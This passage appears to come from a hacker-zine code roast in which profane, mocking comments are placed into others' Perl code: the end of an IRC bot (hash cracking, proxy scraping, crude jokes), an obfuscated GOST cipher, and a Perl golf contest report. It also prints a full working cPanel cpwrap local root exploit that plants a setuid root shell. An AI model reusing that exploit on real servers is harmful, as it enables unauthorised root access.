if($hh =~ m/-/)
{
$hh = "?????";
}
# Those three could have been a one liner. Combined.
print $con "privmsg $xnick :md5.rednoize.com : $hh\n";
}
}
while($ghash3 = <$gethash3>)
{
if($ghash3 =~ m/<li>(.*?)<\/li>/)
{
$hh2 = $1;
$hh2 =~ s/://;
$hh2 =~ s//?/;
$hh2 =~ s/\n//;
$hh2 =~ s/QUIT//;
$hh2=~ s/quit//;
# What horribly lame variable cleaning
if($hh2 =~ m/ /)
{
$hh2 = "?????";
}
if($hh2 =~ m/\n/)
{
$hh2 = "?????";
}
if($hh2 =~ m/:/)
{
$hh2 = "?????";
}
# Look at the code reuse. Everything in this program could be so much shorter
# if you weren't a FUCKING MORON
print $con "privmsg $xnick :us.md5.crysm.net : $hh2\n";
}
}
while($ghash4 = <$gethash4>)
{
if($ghash4 =~ m/<br \/><b>(.*?)<\/b>/)
{
$hh3 = $1;
$hh3 =~ s/://;
$hh3 =~ s//?/;
$hh3 =~ s/\n//;
$hh3 =~ s/QUIT//;
$hh3 =~ s/quit//;
if($hh3 =~ m/ /)
{
$hh3 = "?????";
}
if($hh2 =~ m/\n/)
{
$hh3 = "?????";
}
if($hh2 =~ m/:/)
{
$hh3 = "?????";
}
print $con "privmsg $xnick :md5decrypt.com : $hh3\n";
}
}
}
}
#generate an md5 hash..
if($answer =~ m/\!md5gen/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$str = $strpart[1];
# Doesn't all of this look so FUCKING FAMILIAR
$md5hash = md5_hex($str);
print $con "privmsg $xchannel :String : $str\n";
print $con "privmsg $xchannel :Result : $md5hash\n";
}
}
if($answer =~ m/\!quote/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$ran = int(rand(44));
switch($ran){
# How about all of these go into an array, and then instead of this switch statement,
# you do something like this:
# print $con $lamejokes[int rand 44];
# Or would that be too outside-the-box for your stupid, moronic mind?
case 0 { print $con "privmsg $xchannel : I do not fear computers. I fear the lack of them. - Isaac
Asimov -\n"}
case 1 { print $con "privmsg $xchannel : Computer science is no more about computers than astronomy
is about telescopes. - Edsger Dijkstra -\n"}
case 2 { print $con "privmsg $xchannel : The computer is a moron. - Peter Drucker -\n"}
case 3 { print $con "privmsg $xchannel : Computers are so badly designed! - Brian Eno -\n"}
case 4 { print $con "privmsg $xchannel : Computers are magnificent tools for the realization of our
dreams, but no machine can replace the human spark of spirit, compassion, love, and understanding.
- Louis Gerstner -\n"}
case 5 { print $con "privmsg $xchannel : The real danger is not that computers will begin to think
like men, but that men will begin to think like computers. - Sydney J. Harris -\n"}
case 6 { print $con "privmsg $xchannel : Supercomputers will achieve one human brain capacity by
2010, and personal computers will do so by about 2020. - Ray Kurzweil -\n"}
case 7 { print $con "privmsg $xchannel : Home computers are being called upon to perform many new
functions, including the consumption of homework formerly eaten by the dog. - Doug Larson -\n"}
case 8 { print $con "privmsg $xchannel : What do we want our kids to do? Sweep up around Japanese
computers? - Walter F. Mondale -\n"}
case 9 { print $con "privmsg $xchannel : Computing is not about computers any more. It is about
living. - Nicholas Negroponte -\n"}
case 10 { print $con "privmsg $xchannel : The good news about computers is that they do what you
tell them to do. The bad news is that they do what you tell them to do. - Ted Nelson -\n"}
case 11 { print $con "privmsg $xchannel : To err is human - and to blame it on a computer is even
more so. - Robert Orben -\n"}
case 12 { print $con "privmsg $xchannel : People think computers will keep them from making
mistakes. They're wrong. With computers you make mistakes faster. - Adam Osborne -\n"}
case 13 { print $con "privmsg $xchannel : They have computers, and they may have other weapons of
mass destruction. - Janet Reno -\n"}
case 14 { print $con "privmsg $xchannel : Computers are useless. They can only give you answers. -
Pablo Picasso -\n"}
case 15 { print $con "privmsg $xchannel : Computers make it easier to do a lot of things, but most
of the things they make it easier to do don't need to be done. - Andy Rooney -\n"}
case 16 { print $con "privmsg $xchannel : Think? Why think! We have computers to do that for us. -
Jean Rostand -\n"}
case 17 { print $con "privmsg $xchannel : Treat your password like your toothbrush. Don't let
anybody else use it, and get a new one every six months. - Clifford Stoll -\n"}
case 18 { print $con "privmsg $xchannel : Users, collective term for those who use computers. Users
are divided into three types: novice, intermediate and expert.Novice Users: people who are afraid
that simply pressing a key might break their computer.
Intermediate Users: people who don't know how to fix their computer after they've just pressed a
key that broke it.
Expert Users: people who break other people's computers. - From the Jargon File. -\n"}
case 19 { print $con "privmsg $xchannel : Artificial intelligence ? No thank you, I don't need
crutches. - Szylowicz (my former assembler teacher) -\n"}
case 20 { print $con "privmsg $xchannel : Science is supposedly the method by which we stand on the
shoulders of those who came before us. In computer science, we all are standing on each others
feet. - G. Popek. -\n"}
case 21 { print $con "privmsg $xchannel : Press CTRL-ALT-DEL now for an IQ test. - At the time of
Win95/98/ME -\n"}
case 22 { print $con "privmsg $xchannel : Artificial Intelligence usually beats natural
stupidity.\n"}
case 23 { print $con "privmsg $xchannel : This manual says what our product actually does, no
matter what the salesman may have told you it does. - In a californian graphic board manual, 1985.
-\n"}
case 24 { print $con "privmsg $xchannel : I sit looking at this damn computer screen all day long,
day in and day out, week after week, and think: Man, if I could just find the 'on' switch... -
Zachary Good -\n"}
case 25 { print $con "privmsg $xchannel : Build a system that even a fool can use, and only a fool
will want to use it\n"}
case 26 { print $con "privmsg $xchannel : Making fun of AOL users is like making fun of the kid in
the wheel chair.\n"}
case 27 { print $con "privmsg $xchannel : Dude, I hate to be the bearer of bad news, but I'm afraid
you've been hacked — the FTP server at 127.0.0.1 has all your personal files. See for
yourself; just log in with your normal id.... - Classic joke on new Unix users. -\n"}
case 28 { print $con "privmsg $xchannel : Relax, its only ONES and ZEROS !\n"}
case 29 { print $con "privmsg $xchannel : I have NOT lost my mind — I have it backed up on
tape somewhere.\n"}
case 30 { print $con "privmsg $xchannel : INSERT DISK THREE' ? But I can only get two in the drive
!\n"}
case 31 { print $con "privmsg $xchannel : Daddy, why doesn't this magnet pick up this floppy disk
?\n"}
case 32 { print $con "privmsg $xchannel : Daddy, what does FORMATTING DRIVE C mean ?\n"}
case 33 { print $con "privmsg $xchannel : See daddy ? All the keys are in alphabetical order
now.\n"}
case 34 { print $con "privmsg $xchannel : Q- What is the difference between a computer and a woman
?
A- A woman won't accept a 3 and 1/2-inch floppy !\n"}
case 35 { print $con "privmsg $xchannel : When I was a teenager, Mom said I'd go blind if I didn't
quit doing *that*. Maybe she was right — since the invention of internet porn, computer
monitors keep getting bigger and bigger. ! - Bill Ervin. -\n"}
case 36 { print $con "privmsg $xchannel : Smash forehead on keyboard to continue...\n"}
case 37 { print $con "privmsg $xchannel : Where a calculator on the ENIAC is equipped with 18 000
vacuum tubes and weighs 30 tons, computers of the future may have only 1 000 vacuum tubes and
perhaps weigh 1½ tons. - Popular Mechanics, March 1949. -\n"}
case 38 { print $con "privmsg $xchannel : But what... is it good for ? - An engineer at the
Advanced Computing Systems Division of IBM, commenting on the microchip in 1968. -\n"}
case 39 { print $con "privmsg $xchannel : There is no reason anyone would want a computer in their
home. - Ken Olson, president/founder of Digital Equipment Corp., 1977. -\n"}
case 40 { print $con "privmsg $xchannel : There's no problem so large it can't be solved by killing
the user off, deleting their files, closing their account and reporting their REAL earnings to the
IRS. - The B.O.F.H.. - \n"}
case 41 { print $con "privmsg $xchannel : In the future, airplanes will be flown by a dog and a
pilot. And the dog's job will be to make sure that if the pilot tries to touch any of the buttons,
the dog bites him. - Scott Adams (author of Dilbert). -\n"}
case 42 { print $con "privmsg $xchannel : go shave ya mommy XD - Dj_Asim - milw0rm forums 2006 -
http://forum.milw0rm.com/viewtopic.php?t=1595\n"}
else{ print $ran}
}
}
}
if($answer =~ m/\morning/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
print $con "privmsg $xchannel :good morning sir..\n";
}
}
if($answer =~ m/\!changenick/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
if($encpw == $pass)
{
my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd
beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas
cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight
darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto
greenarrow greenlantern
grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker
julius kal-el kalel linus liz lucy lyman
marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie
oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen
pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin
rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite
snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown
wolverine wolveroach woodstock xmen ziggy zippy zonker
/;
my $draw = @array[rand @array];
# see, that's much better. But it still should be more like:
# my $draw = $array[rand scalar @array];
print $con "NICK $draw\r\n";
# Or just: print $con "NICK $array[rand scalar @array]\r\n";
# You wouldn't believe the parser magic that goes into making that work
}
}
}
#give sexual pleassure
# Please, don't, keep your "pleassure" to yourself
if($answer =~ m/\!inject/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$ran = int(rand(12));
switch($ran){
case 0 { print $con "privmsg $xchannel : injected $xnick with an MS keyboard.....\n"}
case 1 { print $con "privmsg $xchannel : injected $xnick with
http://img91.imageshack.us/img91/2033/03zd9.jpg\n"}
case 2 { print $con "privmsg $xchannel : injected $xnick with
http://img135.imageshack.us/img135/6393/02ms6.jpg\n"}
case 3 { print $con "privmsg $xchannel : injected $xnick with a NASA space-shuttle.....\n"}
case 4 { print $con "privmsg $xchannel : injected $xnick with
http://img91.imageshack.us/img91/6918/lewllq5.jpg\n"}
case 5 { print $con "privmsg $xchannel : injected $xnick with a toothbrush.....\n"}
case 6 { print $con "privmsg $xchannel : injected $xnick with a pen.....\n"}
case 7 { print $con "privmsg $xchannel : injected $xnick with
http://www.servut.us/ssakari/kuvat/two_girls_kissing.jpg\n"}
case 8 { print $con "privmsg $xchannel : injected $xnick with http://la.gg/upl/6541c6b7.gif\n"}
case 9 { print $con "privmsg $xchannel : injected $xnick with a chair.....\n"}
case 10 { print $con "privmsg $xchannel : injected $xnick with a midget.....\n"}
case 11 { print $con "privmsg $xchannel : injected $xnick with a spoon.....\n"}
case 12 { print $con "privmsg $xchannel : injected $xnick with a fork.....\n"}
else{ print $ran}
}
# Yea, basically the same crap as anywhere else
}
}
#get proxies from nntime.com
if($answer =~ m/\!proxy/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$getproxy = IO::Socket::INET->new(PeerAddr=>'66.29.36.40',PeerPort=>'80',Proto=>'tcp',Timeout=>'1')
|| print "Error: Connection\n";
print $getproxy "GET /index.php HTTP/1.0\n";
print $getproxy "Host: www.nntime.com\n\n";
while($proxy = <$getproxy>)
{
$proxy =~
m/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9
]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?):([0-9][0-9][0-9][0-9])/ && print $con
"privmsg $xnick :$1.$2.$3.$4:$5\n";
# Well well. Isn't that a, uh, "interesting" regex
}
}
}
#auto rejoin after kick
if($answer =~ m/KICK $chan/)
{
my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd
beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas
cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight
darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto
greenarrow greenlantern
grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker
julius kal-el kalel linus liz lucy lyman
marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie
oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen
pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin
rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite
snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown
wolverine wolveroach woodstock xmen ziggy zippy zonker
/;
# Almost makes me wonder why you had to redefine this massive list
my $draw = @array[rand @array];
print $con "NICK $draw\r\n";
print $con "JOIN $chan\r\n";
}
# Let's let the rest of this explain itself.
# Let is settle in your mouth, like some cheap Eastern wine
# Swish it around, and spit it out
#get advisory news from secunia.com
if($answer =~ m/\!advisories/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$getadv =
IO::Socket::INET->new(PeerAddr=>'213.150.41.226',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $getadv "GET /information_partner/anonymous/o.rss HTTP/1.0\n";
print $getadv "Host: secunia.com\n\n";
while($adv = <$getadv>)
{
$adv =~ m/CDATA(.*?)><\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$adv =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
#securitynews from addict3d.org
if($answer =~ m/\!securitynews/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$gen = IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') ||
print "Error: Connection\n";
print $getsecn "GET /backend_security.php HTTP/1.0\n";
print $getsecn "Host: addict3d.org\n\n";
while($secn = <$getsecn>)
{
$secn =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$secn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
if($answer =~ m/\!technews/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$gettechn =
IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gettechn "GET /backend_news.php HTTP/1.0\n";
print $gettechn "Host: addict3d.org\n\n";
while($techn = <$gettechn>)
{
$techn =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$techn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
#get exploit news from milw0rm.com
if($answer =~ m/\!exploits/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$getexp =
IO::Socket::INET->new(PeerAddr=>'213.150.45.196',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $getexp "GET /rss.php HTTP/1.0\n";
print $getexp "Host: www.milw0rm.com\n\n";
while($exp = <$getexp>)
{
$exp =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
$exp =~ m/<guid>(.*?)<\/guid>/ && print $con "privmsg $xnick :$1$2$3\n";
}
}
}
#answer to ping requests
if($answer =~ m/^PING (.*?)$/gi)
{
print $con "PONG ".$1."\n";
}
print $answer;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 1707 2007-02-26 18:19 school/vipul.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Author: Vipul Ved Prakash.
Contact: [email protected]
The Perl Code
#!/usr/bin/perl -s
sub R{int$_[0]||
return vec$_[1],$_[2]/4,32;int$_[0]*rand}($R)
=$^=~'([\]-\`])';sub F{$u=0;grep$u|=$S->[$_][$_[0]>>
$_*4&15]<<$_*4,reverse 0..7;$u<<11|$u>>21}$t=$e
||$d?join'',<>:(($p,$d)=($R,1),unpack u
,"(3=MCV7%2W'<`");@b=@t=0..15;for(
;$i<length$p;$i+=4){srand($s^=R$R,$p
,$i)}while($ci<8){grep{push@b ,splice
@b,R(9),5}@t;$R[$c]=R(2 **32);@{
$S->[$c++]}=@b}@h=0..7;@o =reverse
@h;while($a<length
$t){$v=R$R,$t,$a;
$w=R$R,$t,($a+=8)-4;
grep$q++%2?$v
^=F$w+$R
[$$R]:( $w^=F$v+$R[$$R]),$d?(@h,(@o)
x3):(( @h)x3,@o);$_.=pack N2,$w,$v}
print
What It Does
The code is a diminutive implementation of the KGB block cipher, GOST, in
Simple Substitution Mode as described in the Soviet Standard (GOST 28147-89).
An English translation by Josef Pieprzyk and Leonid Tombak is available from
ftp://vipul.net/pub/gost/specs.ps.gz. (You don't really want to read this, a
functional description of the algorithm is included in this file.)
Besides implementing the encryption algorithm, the code also also computes
the key-store-unit and s-box permutations as a function of the pass-phrase.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 1571 2007-02-26 18:19 laugh/cpanel.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> Hey Dad, know why you didn't see me all morning?? I was two-dimensional!
<Dad> Hmmm, I'll bet you can't do it all afternoon, too...
<Mom> Dear!
#!/usr/bin/perl -w
# use warnings, not -w preferably
# 10/01/06 - cPanel <= 10.8.x cpwrap root exploit via mysqladmin
# use strict; # haha oh wait..
my $cpwrap = "/usr/local/cpanel/bin/cpwrap";
my $mysqlwrap = "/usr/local/cpanel/bin/mysqlwrap";
my $pwd = `pwd`;
# Cwd is core
chomp $pwd;
# chomp ( my $pwd = getcwd );
$ENV{'PERL5LIB'} = "$pwd";
# Quotes suck.
if ( ! -x "/usr/bin/gcc" ) { die "gcc: $!\n"; }
if ( ! -x "$cpwrap" ) { die "$cpwrap: $!\n"; }
if ( ! -x "$mysqlwrap" ) { die "$mysqlwrap: $!\n"; }
# -x $cpwrap or die "$cpwrap: $!\n";
open (CPWRAP, "<$cpwrap") or die "Could not open $cpwrap: $!\n";
# I like how you check, and use or, however,
# you should use a modern three part open statement, and preferably lexical variables
while(<CPWRAP>) {
if(/REMOTE_USER/) { die "$cpwrap is patched.\n"; }
}
close (CPWRAP);
# yucky
open (STRICT, ">strict.pm") or die "Can't open strict.pm: $!\n";
print STRICT "\$e = \"int main(){setreuid(0,0);setregid(0,0);system(\\\\\\\"/bin/bash\\\\\\\");}\";\n";
print STRICT "system(\"/bin/echo -n \\\"\$e\\\">Maildir.c\");\n";
print STRICT "system(\"/usr/bin/gcc Maildir.c -o Maildir\");\n";
print STRICT "system(\"/bin/chmod 4755 Maildir\");\n";
print STRICT "system(\"/bin/rm -f Maildir.c strict.pm\");\n";
close (STRICT);
# Listen. If you use single quotes, you don't have to escape all of that.
system("$mysqlwrap DUMPMYSQL 2>/dev/null");
if ( -e "Maildir" ) {
system("./Maildir");
}
else {
unlink "strict.pm";
die "Failed\n";
}
# Not bad, not too bad.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 17138 2007-02-26 18:19 school/regex.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dueling Flamingos: The Story of the Fonality Christmas Golf Challenge
by eyepopslikeamosquito
Any problem in computer science can be solved with another layer of indirection.
-- David Wheeler
Whee, $$$_=$_
-- Juho Snellman celebrates finding that extra layer during the Fonality Golf Challenge
Perl Golf is a hard and cruel game. In this report on the recent Christmas 2006 Fonality Golf
Challenge, I hope to not only lay bare the secrets of the golfing masters but also tell some
personal stories of triumph and despair that occurred during this fascinating competition.
The Problem
You must read a line of roman numerals from the standard input, for example:
II plus III minus I
and write the result to the standard output:
IV
for this example. Fonality provided a more detailed and precise problem statement.
A Simple Solution
Here's a simple solution to the problem:
#!perl -lp
map{$_.=(!y/IVXLC/XLCDM/,I,II,III,IV,V,VI,VII,VIII,IX)[$&]while s/\d//
+;$$_=$n++}@R=0..3999;
y/mp/-+/;s/\w+/${$&}/g;$_=$R[eval]
This easy to understand solution hopefully makes clear some of the important strategic ideas used
by the top golfers, namely:
Rather than attempting to calculate a running total, $_ is transformed in place. For example, II
plus III is transformed into 2 + 3. With that done, eval is employed to compute the total.
You don't need to write two converters: it is sufficient to write an arabic_to_roman() converter.
To convert the other way, simply convert 1..3999 into a table or something and do a lookup.
It turns out that symbolic references are crucial in this game because they are shorter than other
lookup techniques, such as hashes. In the simple solution above, a symbolic reference is created
for each roman numeral whose value is the corresponding arabic number.
HART: The Hospelian Arabic to Roman Transform
During a Polish Golf Tournament played in March 2004, Ton Hospel rocked the Polish golf community
by unleashing his miraculous magical formula to convert an arabic number to a roman numeral.
I've decided to honour this magic formula with a name: HART (Hospelian Arabic to Roman Transform).
This name was inspired by the ST (Schwartzian Transform) and the GRT (Advanced Sorting - GRT -
Guttman Rosler Transform). If you can think of a better name, please respond away. :-)
As you might expect, Ton's Polish hosts were astonished by his ingenuity, Grizzley remarking:
You should see some of Golfers after reading your explanation... eyes big like cups of tea, heart
attacks, etc.
Curiously, though he competed in this historic original Polish roman game, Grizzley did not employ
HART himself in the Fonality challenge, preferring his own clever (and quite short) algorithm that
was only seven strokes longer.
Converting plus and minus
This was an interesting little sub-problem featuring the versatile tr/// (aka y///) operator.
If your goal is to transform, for example, II plus III, into 2 + 3, you might dispatch the plus and
minus with y/mpislun/-+/d. Of course, if you cared more about jokes than strokes, you'd rearrange
the letters to form y/linus.pm/ +-/ instead. :-) Which can be easily shortened, using
character ranges, to y/mpa-z/-+/d.
What next? Well, if you are later using something like s/\w+/${$&}/g to convert roman numerals to
arabic numbers via symbolic references, a serendipitous side effect of that s/// expression is that
the lower case letters remaining in plus and minus will be eliminated! You can therefore shorten to
simply y/mp/-+/.
As a final flourish, you can shave one further stroke by employing y/m/-/ in harness with
s/\w+/+${$&}/g.
Rather than converting, for example, II plus III, into 2 + 3, the leading golfers transformed it
into $II +$ III instead. If you're doing that, you can employ y/isl-z/-$+/d to transform the plus
and minus, and s''$' to prepend the leading $. An interesting alternative, attempted early in the
game by Ton, is to eschew the beloved y/// operator in favour of s///, namely s'^| '+$'g and
s/nus/-/g, though that turns out to be one stroke longer.
Putting it All Together
The strategy used by the top golfers in this competition is essentially a three step process:
Convert, for example, II plus III, into $II +$ III.
Build two sets of symbolic references: one mapping roman numerals to their corresponding arabic
number, the other mapping (negative) numbers back to the roman numerals. Notice that you must use
negative numbers because you can create a symref of -42 but not 42. The building of this second set
is easily recognized by the surreal construct: $$$_=$_.
Eval the expression built in step one and put the result back into $_ for printing, courtesy of the
-p option.
As is often the case in golf, one insight leads to another: if symbolic references proved useful
for converting one way, why not try to exploit them to convert the other way also? And, in so
doing, remove the need for the @R array seen in the first simple solution above.
To clarify this three step process, I've prepared a commented version with the arabic to roman
numeral step abstracted into a subroutine and without any arcane golfing tricks.
#!perl -lp
# r() converts an arabic number (1..3999 or -3999..-1) to a roman nume
+ral.
sub r{my$s;($s.=5x$_*8%29628)=~y$IVCXL426(-:$XLMCDIVX$dfor/./g;$s}
y/iul-z/-$+/d; # Step 1: convert plus and minus to +$
+and -$
s''$'; # Step 1: prepend $
$$_=r(),$$$_=$_ for-3999..-1; # Step 2: build two sets of symbolic re
+ferences
$_=${+eval}; # Step 3: eval the expression
Of interest here is the final line above. Remarkably, ton changed it to *_=eval, with the wry
comment "More fun with globs", in only one minute twenty seconds! If Juho, who played brilliantly
throughout, had found this final trick he would have tied ton for first prize.
Tactical Tricks
In addition to the overall strategies discussed above, tactics also play a vital role.
As pointed out to me by thospel, constructing the table backwards, from 3999 down to 1, also allows
you to safely place the $$$_=$_ inside the s///eg expression, since wrong entries for partial roman
strings during the build get fixed later (see Ton's 99.56 solution below).
It's also worth noting that counting downwards allows you to safely extend the range from 3999 to
4e3 thus avoiding the nasty edge case bugs that plagued the solutions of TedYoung, szeryf, Sec and
Jasper, where the (invalid) 4e3 case tramples on a previously correct entry.
Dueling Flamingos: The Battle of the Last T-Shirt
Late in this game, there was a gripping duel, silently fought between two gritty characters
pounding away on their keyboards in Ottawa and New York. This was the titanic Battle of the Last
T-Shirt.
The lead see-sawed back and forth between `/anick Champoux and Michael Wrenn right up until the
final bell, with Michael emerging the exhausted victor by a single stroke.
Here is what `/anick had to say after it was all over:
But nevermind that blunderific overlook of the Great Thome of Golfic Knowledge. Nevermind an
obscenely tumefied forehead, caused by repeated percussions against my desk during the
ever-excruciating quest for the next shaved stroke. What really make me wail like a tax-audited
banshee is that the referee just went through the last of the pending entries, allowing m.wrenn to
sneak one stroke ahead of me and bump me off the top 20, literally yanking the prized t-shirt off
my clenched fists.
m.wrenn, if you are on this list, consider my fist -- yes, that same fist that you so fiendishly
robbed from its prize -- shaked in barely supressed fury in your general direction. And mark my
words: one day, I shall have my revenge upon thee!
And here is his final 170.51:
#!perl -lp040
$s=/m/
if/u/;($y=I1V5X10L50C100D500M1000IV4IX9XL40XC90CD400CM900)=~/$&/,$i=$t
++=$s^"$;">($;=$')?-$;:$;while
s/.$//}{1while$y=~/(\D+)$i/&&$t>=$i?($_.=$1,$t-=$i):$i--
[download]
`/anick was the only golfer imaginative enough to employ the command line switch 040 in harness
with the }{ "eskimo greeting" secret operator. I'll refrain from commenting further on his creative
masterwork because, frankly, I do not understand it.
Here is Michael's moving response, along with his final 169.51 solution:
I went out to get some dinner and returned to check on my solid 20th Place (securing a prized
Fonality/trixbox T-shirt) ... when what to my wondering eyes should appear, but \'anick the Canuck
who was now TWO STROKES CLEAR! I CURSEd and I SHOUTed and I called him some names| That Bastr/a//d!
That foo|bird! That Flamingo again!!! I'll catch him! I'll pass him! I'll beat him this time! I'll
punk him! I'll twizzle and addle his brain! To the top of the board! Past Juho and ton! Now slash
away, slash away, slash away all!
When I came to, I was still one stroke back and all my hair had been yanked out and deposited on
the floor next to me. That \'akinc! It was after 1AM and I needed inspiration. I went into my
closet and tried on all of my T-shirts ... None of them fit! I needed a NEW one!
So, I had another beer (a nice Belgian one) and kept at it and just before 2AM, I saw the light! An
extremely obvious 2 stroker that I had tried earlier in a slightly different form. I could feel
that feeling of cotton ...
#!perl -lp
@@{@@=map{$_,$_.0,$_*100}4,5,9,10}=qw(IV XL CD V L D IX XC CM X C M);f
+or$~(@@){s/$@{$~}/"I "x$~/ge}s/I//while s/m\w* +I/m /;$~=y/I//cd;s/I{
+$~}/$@{$~}||$&/gewhile$~--
Top Ten Countdown
The top ten golfers at the close of play were:
1. 99.56 ton Netherlands
2. 102.54 Juho Snellman Finland
3. 108.53* TedYoung USA
4. 111.49 jojo France?
5. 115.52* szeryf Poland
6. 118.53 pijll Netherlands
7. 120.51* Sec Germany
8. 122.54 eyepopslikeamosquito Australia
9. 126.46* Jasper UK
10. 129.50 Util USA
In writing this report I became aware that the solutions marked with an asterisk (*) above, though
they passed the referee's test program, each contained a bug, failing on one or more of the
following test cases:
{ in => "MD plus I\n",
out => 'MDI' . "\n" },
{ in => "MD minus I\n",
out => 'MCDXCIX' . "\n" },
They can all be easily remedied by changing 4e3 to 3999, at the cost of a single stroke. Since I'm
sure each of these golfers would have found this trivial fix had the referee's test program been
more exhaustive, I've taken the liberty of adjusting their scores above and their solutions below.
Please note that I am not the tournament referee and therefore do not have any authority to make a
decision on this matter. I bring it to light here only in the interests of historical accuracy.
It is interesting to note that nine of the top 10 had previously competed in the strenuous TPR
tournament circuit of 2002. And the only one who hadn't, jojo, had played 12 challenges previously
at codegolf.
10. Util (129.50)
Util has limited previous golfing experience, having competed in two tournaments in the 2002 TPR
season, finishing the season in 121st place, with winnings of $59,000. Accordingly, I expect he was
well satisfied with a top ten finish.
#!perl -lp
$==$_,s!.!y$IVCXL91-I0$XLMCDXVIII$dfor$_[$=].=4x$&%1859^7;5!egfor+0..3
+999;@&{@_}=0..@_;y/il-z/-+/d;s/\w+/$&{$&}/g;$_=$_[eval]
Though some strokes can be whittled from this lookup hash approach -- for example, this one:
#!perl -lp
